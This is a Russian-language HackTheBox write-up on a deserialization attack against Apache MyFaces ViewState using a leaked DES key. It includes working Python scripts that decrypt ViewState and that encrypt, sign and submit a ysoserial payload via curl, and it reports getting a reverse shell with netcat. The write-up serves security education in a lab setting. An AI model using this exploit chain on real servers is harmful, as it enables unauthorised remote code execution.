В данной статье рассмотрим уязвимость на основе подмены сериализованного Java-объекта ViewState и метод её эксплуатации на примере web-приложения виртуальной машины с HackTheBox, использующей технологию Apache MyFaces.
JavaServer Faces (JSF) — это платформа разработки интерфейса пользователя для веб-приложений Java. Для хранения текущего состояния страницы (например, какие элементы страницы должны отображаться в настоящее время) JSF использует параметр ViewState.
(HTML-форма отправки данных)
ViewState представляет из себя сериализованный Java-объект, автоматически встраиваемый в HTML-форму как скрытое поле с именем javax.faces.ViewState. При отправке данных из формы мы видим, что также отправляется параметр ViewState. А так как он является сериализованным объектом, вероятно, мы можем попробовать выполнить команду на стороне сервера (RCE), используя собственный заряженный сериализованный объект, который содержит полезную нагрузку.
(Тем, кто хочет углубиться в данную тему, рекомендую почитать вот этот материал).
Итак, приступим. В данной статье рассмотрим подобную уязвимость и метод
её эксплуатации на примере web-приложения уязвимой виртуальной машины
с HackTheBox, использующей технологию Apache MyFaces.
В конфигурации Apache MyFaces можно включить шифрование компонента ViewState (в нашем примере, используется шифрование DES-ECB), что повысит безопасность приложения.
Если шифрование отключено, то нам необходимо отправить сериализованный объект через компонент ViewState для выполнения команды на стороне сервера. Но что, если web-приложение использует шифрование, а ключ скомпрометирован? Это немного усложняет задачу, давайте посмотрим, как быть в такой ситуации.
Нам удалось найти бэкап с файлами конфигурации web-приложения:
Отлично! Теперь мы знаем SECRET, MAC_ALGORITHM, MAC_SECRET.
Обратимся к официальной документации. Тут и тут.
Переварив полученную информацию, попробуем дешифровать ViewState. Для этого
с помощью Decoder BurpSuite приведем его в нормальный вид и напишем небольшой скрипт на Python:
import base64
from Crypto.Cipher import DES
import urllib
def pad(data):
if len(data) % 8:
for n in xrange(len(data)):
if ((len(data) + n) % 8) == 0:
data += chr(n) * n
break
return data
key = b'SnNGOTg3Ni0='
key = base64.b64decode(key)
cipher = DES.new(key, DES.MODE_ECB)
enctext = b'wHo0wmLu5ceItIi+I7XkEi1GAb4h12WZ894pA+Z4OH7bco2jXEy1RQxTqLYuokmO70KtDtngjDm0mNzA9qHjYerxo0jW7zu1mdKBXtxnT1RmnWUWTJyCuNcJuxE='
#enctext = urllib.quote(enctext.decode("ascii"))
enctext = base64.b64decode(enctext)
enctext = pad(enctext)
msg = cipher.decrypt(enctext)
print(msg)
На выходе получаем:
Это сериализованный объект, содержащий HmacSHA1-подпись для проверки целостности.
Приступим к созданию «заряженного» VIEWSTATE.
Для создания сериализованной полезной нагрузки мы будем использовать инструмент ysoserial
(попробую пингануть себя (ip: 10.10.14.11) с сервера)
После ysoserial наш payload выглядит следующим образом:
Но просто в таком виде его отправить не получится, мы уже знаем, что сервер использует проверку подлинности на основе HmacSHA1-алгоритма, DES-ECB шифрование и как финал «заворачивает» всё это в base64. Давайте всё это автоматизируем, написав Python-скрипт (спасибо be_a_saint).
import base64
from Crypto.Cipher import DES
import hmac
import hashlib
import socket
import os
import urllib
def padding_append(data):
if len(data) % 8:
for n in xrange(len(data)):
if ((len(data) + n) % 8) == 0:
data += chr(n) * n
break
return data
def encrypt_viewstate(viewstate, secret):
secret = base64.b64decode(secret)
des = DES.new(secret, DES.MODE_ECB)
viewstate = padding_append(viewstate)
viewstate = [viewstate[n:n+8] for n in xrange(0, len(viewstate), 8)]
viewstate = "".join(map(des.encrypt, viewstate))
viewstate += hmac.new(secret, viewstate, hashlib.sha1).digest()
viewstate = base64.b64encode(viewstate)
return viewstate
def create_payload():
with open('payload_ping.ser', 'r') as fi: payload_ping = fi.read()
payload = encrypt_viewstate(payload_ping, "SnNGOTg3Ni0=")
payload = urllib.quote(payload.encode("ascii"))
return payload
victim_url = "http://127.0.0.1:8081/userSubscribe.faces"
post_data = "j_id_jsp_1623871077_1%3Aemail=test%40hello.com&j_id_jsp_1623871077_1%3Asubmit=SIGN+UP&j_id_jsp_1623871077_1_SUBMIT=1&javax.faces.ViewState="
payload = create_payload()
os.system('curl -d "' + post_data + payload + '" -H "Content-Type: application/x-www-form-urlencoded" -X POST ' + victim_url)
Настроив редирект в BurpSuite, мы можем видеть результат выполнения скрипта – наш payload:
Открываем Wireshark, в BurpSuite жмём Forward и ловим входящие ICMP пакеты,
что говорит об успешном выполнении нашей нагрузки на стороне сервера.
Ещё небольшой пример полезной нагрузки и её результат.
Аналогично, полезная нагрузка выполнилась успешно.
А если что-нибудь посерьёзнее? Хорошо, зальём на сервер netcat и прокинем себе реверс шелл:
Готово! Получили шелл от имени веб-сервиса, дальше дело за энумерацией
и повышением привилегий.
Эксплуатация данной уязвимости стала возможной в результате получения SECRET’ов сервера, отсюда напрашивается вывод, что несмотря на все принимаемые меры защиты кода/приложения, одним из самых важных критериев безопасности остается сохранение конфиденциальности чувствительных данных приложения (пароли, файлы конфигурации, бэкапы и т.д.).
На этом всё, спасибо за внимание!
Автор: T-Cross
